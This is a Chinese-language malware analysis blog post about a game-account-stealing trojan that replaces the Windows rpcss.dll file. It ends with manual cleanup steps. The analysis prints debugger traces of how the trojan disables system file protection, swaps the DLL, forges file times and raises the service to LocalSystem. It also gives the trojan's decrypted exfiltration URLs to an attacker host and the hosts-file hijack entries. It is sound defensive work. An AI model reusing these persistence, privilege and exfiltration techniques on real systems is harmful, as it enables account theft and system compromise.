分析替換系統“rpcss.dll”檔的病毒(附修復方法)
///////////////////////////////////////////////////////////////////////////////////////////////
文章名稱:分析替換系統“rpcss.dll”檔的病毒(附修復方法)
文章類型:病毒分析、系統修復
編寫作者:Coderui
編寫日期:2008年10月30日
作者博客:http://hi.baidu.com/coderui
///////////////////////////////////////////////////////////////////////////////////////////////
英文名稱:TrojanSpy.OnLineGames.iyo
中文名稱:“網游竊賊”變種iyo
病毒長度:12060位元組
病毒類型:木馬
危險級別:★★
影響平臺:Win 9X/ME/NT/2000/XP/2003
MD5 校驗:c403b5d5ea1448efeb2d2ae71d41f5c3
============================================================================================
簡單描述:
該病毒會通過替換系統“rpcss.dll”檔來實現開機自啟動。是一個專門竊取QQ網路遊戲帳號的木馬程式。同時,它還會竊取QQ網路遊戲使用者的密碼保護資料。
中毒現象:
1、殺毒後系統不能上網。
2、殺毒後系統粘貼功能失效。
3、殺毒後系統工作列上的部分資訊不能正常顯示。
4、殺毒後系統桌面程式“explorer.exe”啟動非常慢,等好長時間才能顯示出來桌面。
============================================================================================
病毒主程序“TrojanSpy.OnLineGames.iyo”部分的分析:
============================================================================================
加殼名稱:Upack V0.37 -> Dwing *
採用高階語言編寫。
入口:00002080
文件大小:12,060 位元組。
釋放惡意DLL組件:
ASCII "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~ddc967.tmp" 文件大小:34,816 位元組,檔案名稱隨機。
病毒主程序通過“rundll32.exe”進程調用運行病毒釋放出來的DLL元件檔:
00402209 FF15 00204000 CALL DWORD PTR DS:[402000] ; kernel32.CreateProcessA
0012FC18 00000000 |ModuleFileName = NULL
0012FC1C 0012FCB4 |CommandLine = "rundll32 C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~ddc967.tmp INS C:\Documents and Settings\Administrator\桌面\new13.10260422.exe"
0012FC20 00000000 |pProcessSecurity = NULL
0012FC24 00000000 |pThreadSecurity = NULL
0012FC28 00000000 |InheritHandles = FALSE
0012FC2C 00000000 |CreationFlags = 0
0012FC30 00000000 |pEnvironment = NULL
0012FC34 00000000 |CurrentDir = NULL
0012FC38 0012FC44 |pStartupInfo = 0012FC44
0012FC3C 0012FC88 \pProcessInfo = 0012FC88
病毒主程序在被感染電腦系統中安裝完畢後會自我刪除。
============================================================================================
病毒釋放元件“~ddc967.tmp”部分的分析:
============================================================================================
採用高階語言編寫,可能加殼。
文件大小:34,816 位元組。
該DLL元件一般會被插入到“explorer.exe”、“csrss.exe”、“svchost.exe”等系統進程,以及幾乎所有使用者級許可權的進程中載入運行,並在被感染電腦系統的後臺執行惡意操作,隱藏自我,防止被使用者發現、被安全軟體查殺。
-----------------------------------------------------------------------------
1、插入系統進程“csrss.exe”:
監視DLL元件是否被調用,如果發現不存在(發現被關閉掉)則重新調用,達到自我保護的目的。
2、插入系統進程“explorer.exe”:
調用病毒元件“C:\WINDOWS\system32\gdipro.dll”運行。躲避安全軟體主動防禦和監控等,達到自我保護的目的。
3、插入系統進程“svchost.exe”:
(1)、自我複製為“C:\WINDOWS\system32\gdipro.dll”
(2)、通過“sfc_os.dll”來去除系統“C:\WINDOWS\system32\rpcss.dll”檔的保護:
--------------------------------------------
10012D03 FF15 C0200110 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; kernel32.LoadLibraryA
0006F340 10012B2C \FileName = "sfc_os.dll"
10012D10 FF15 C4200110 CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd>; kernel32.GetProcAddress
0006F33C 76C30000 |hModule = 76C30000 (sfc_os)
0006F340 00000005 \ProcNameOrOrdinal = #5
10012D38 FFD6 CALL ESI ; sfc_os.#5
0006F338 00000000
0006F33C 0006F348 UNICODE "C:\WINDOWS\system32\rpcss.dll"
--------------------------------------------
(3)、用“DeleteFileA”刪除系統檔“C:\WINDOWS\system32\..\ServicePackFiles\i386\rpcss.dll”和“C:\WINDOWS\system32\dllcache\rpcss.dll”。
(4)、用“MoveFileExA”移動系統檔“C:\WINDOWS\system32\rpcss.dll”到“C:\WINDOWS\system32\srpcss.dll”處。
10012E0D FF15 BC200110 CALL DWORD PTR DS:[<&KERNEL32.MoveFileEx>; kernel32.MoveFileExA
0006F45C 0006F67C |ExistingName = "C:\WINDOWS\system32\rpcss.dll"
0006F460 0006F578 |NewName = "C:\WINDOWS\system32\srpcss.dll"
0006F464 00000001 \Flags = REPLACE_EXISTING
(5)、用病毒釋放出來的DLL元件檔“C:\WINDOWS\system32\gdipro.dll”來替換系統檔“C:\WINDOWS\system32\rpcss.dll”。
(6)、用“GetFileTime”、“SetFileTime”獲取系統檔時間並重新設置被病毒替換後的DLL元件檔“C:\WINDOWS\system32\rpcss.dll”的時間(創建和修改日期),達到更好的自我隱藏的目的。
(7)、釋放DLL組件“C:\WINDOWS\system32\sys17002.dll”(文件大小:23,040 位元組)。
(8)、用“GetFileTime”、“SetFileTime”獲取系統檔時間並重新設置被病毒替換後的DLL元件檔“C:\WINDOWS\system32\sys17002.dll”的時間(創建和修改日期),達到更好的自我隱藏的目的。
(9)、提升服務的許可權,把“NT AUTHORITY\NetworkService”改為最高許可權“LocalSystem”:
--------------------------------------------
10013313 FF15 18200110 CALL DWORD PTR DS:[<&ADVAPI32.RegOpenKey>; ADVAPI32.RegOpenKeyExA
0006F754 80000002 |hKey = HKEY_LOCAL_MACHINE
0006F758 0006F770 |Subkey = "SYSTEM\CurrentControlSet\Services\rpcss"
0006F75C 00000000 |Reserved = 0
0006F760 000F003F |Access = KEY_ALL_ACCESS
0006F764 0006F878 \pHandle = 0006F878
10013340 FFD7 CALL EDI ; ADVAPI32.RegSetValueExA
0006F74C 10013342 /CALL 到 RegSetValueExA 來自 gdipro.10013340
0006F750 00000080 |hKey = 80
0006F754 10012C30 |ValueName = "ObjectName"
0006F758 00000000 |Reserved = 0
0006F75C 00000002 |ValueType = REG_EXPAND_SZ
0006F760 10012C3C |Buffer = gdipro.10012C3C(LocalSystem)
0006F764 0000000C \BufSize = C (12.)
10013352 FF15 10200110 CALL DWORD PTR DS:[<&ADVAPI32.RegOpenKey>; ADVAPI32.RegOpenKeyA
0006F75C 00000080 |hKey = 80
0006F760 10012C24 |Subkey = "Parameters"
0006F764 0006F874 \pHandle = 0006F874
10013372 FFD7 CALL EDI ; ADVAPI32.RegSetValueExA
0006F74C 10013374 /CALL 到 RegSetValueExA 來自 gdipro.10013372
0006F750 00000084 |hKey = 84
0006F754 10012C18 |ValueName = "ServiceDll"
0006F758 00000000 |Reserved = 0
0006F75C 00000002 |ValueType = REG_EXPAND_SZ
0006F760 10011404 |Buffer = gdipro.10011404(C:\WINDOWS\system32\rpcss.dll)
0006F764 00000038 \BufSize = 38 (56.)
--------------------------------------------
(10)、“CreateRemoteThread”利用創建遠執行緒的方式來調用運行“C:\WINDOWS\system32\gdipro.dll”。
-----------------------------------------------------------------------------
該病毒利用進程守護功能來實現自我保護。
============================================================================================
病毒釋放元件“sys17002.dll”部分的分析:
============================================================================================
加殼名稱:dUP v2.x Patcher --> www.diablo2oo2.cjb.net *
採用高階語言編寫。
文件大小:23,040 位元組。
釋放驅動檔“C:\WINDOWS\system32\drivers\hm17002.sys” ->文件大小:5,120 位元組。
創建病毒設定檔“C:\WINDOWS\system32\sys17002.add”。
發現地址加密前:ASCII "7a^G?BBBaaa^3>"
發現地址解密後:ASCII "g1.worrr111.cn"
發信地址:
http://g1.worrr111.cn/1a/zz4/zz.asp?Game=17&d00=&d01=&d10=&d11=&d21=&d30=&d31=&d32=&d40=0&d45=0&d42=0&d70=0&d71=0&d50=&d90=100
Game=17&d00=%s&d01=%s&d10=%s&d11=%s&d21=%s&d30=%s&d31=%s&d32=%s&d40=%u&d45=%u&d42=%u&d70=%d&d71=%d&d50=%s&d90=%d
http://g1.worrr111.cn/1a/zz4/mibao.asp?
Game=17&d10=%s&d11=%s&d00=%s&d01=%s&d20=%s:%s%%20%s:%s%%20%s:%s&d70=%d&d90=%d
act=&d10=%s&d80=%d
盜網路遊戲帳號“QQ華夏”、“地下城與勇士”:
QQLogin.exe
DNF.exe
盜取QQ網路遊戲的密碼保護等資訊資料。
功能變數名稱劫持(當用戶訪問如下網站時,會被定向到駭客伺服器地址“212.103.11.59”上):
\drivers\etc\hosts
212.103.11.59\tpassport.wanmei.com
212.103.11.59\treg.163.com
212.103.11.59\tsde.game.sohu.com
212.103.11.59\taccount.ztgame.com
212.103.11.59\tpwd.sdo.com
212.103.11.59\treg.91.com
============================================================================================
病毒釋放驅動“hm17002.sys”部分的分析:
============================================================================================
惡意驅動程式。
文件大小:5,120 位元組。
可能是利用驅動安裝鉤子截取QQ網路遊戲密碼,達到盜取遊戲帳號的目的:
!This program cannot be run in DOS mode.
e:\qqsg\setloa~1\setloa~1\objfre_wnet_x86\i386\SetLoadHook.pdb
============================================================================================
============================================================================================
手動刪除該病毒的方法步驟(經過實際測試絕對有效):
1、刪除病毒檔“C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~*.tmp”、“C:\WINDOWS\system32 \gdipro.dll”、“C:\WINDOWS\system32\drivers\hm17002.sys”、“C:\WINDOWS \system32\sys17002.dll”、“C:\WINDOWS\system32\sys17002.add”、“C:\WINDOWS \system32\rpcss.dll”
2、把系統檔“C:\WINDOWS\system32\srpcss.dll”改名為“C:\WINDOWS\system32\rpcss.dll”。
3、把註冊表“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\rpcss\ObjectName”鍵值改為“NT AUTHORITY\NetworkService”。
4、把註冊表“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\rpcss\Parameters\ServiceDll”鍵值改為“%SystemRoot%\system32\rpcss.dll”。
5、重新開機電腦系統,系統殺毒修復完畢(系統重新開機後就可以上網了,粘貼功能有效了,同時工作列的顯示也正常了)。
6、使用殺毒軟體進行全盤查殺病毒(該病毒為木馬下載器下載到您電腦中的病毒,那個木馬下載器還下載了N多其它病毒也同時安裝到了您的電腦系統中)。